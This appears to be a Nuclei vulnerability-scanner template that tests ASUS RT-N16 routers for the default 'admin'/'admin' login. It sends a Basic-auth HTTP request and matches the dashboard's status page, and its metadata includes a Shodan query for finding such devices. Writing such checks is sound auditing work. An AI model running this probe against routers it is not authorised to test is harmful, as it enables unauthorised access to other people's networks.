asus-rtn16-default-login: ASUS RT-N16 - Default Login

id: asus-rtn16-default-login

info:
  name: ASUS RT-N16 - Default Login
  author: ritikchaddha
  severity: high
  description: |
    ASUS RT-N16 contains a default login vulnerability. Default admin login password 'admin' was found.
  classification:
    cpe: cpe:2.3:h:asus:rt-n16:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: asus
    product: rt-n16
    shodan-query: "RT-N16"
  tags: default-login,asus,rt-n16,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ASUS'
          - 'RT-N16'
          - 'System Status'
          - 'Network Map'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200ddcc3fa07f3dfd676a0b403a907a000c54df0613db15bb163e98dfd3b8bd8df022100f1d6b686ee653c892130ba3bf59d1b829d9a3239e2568a6023011c2522aa83f3:922c64590222798bb761d5b6d8e72950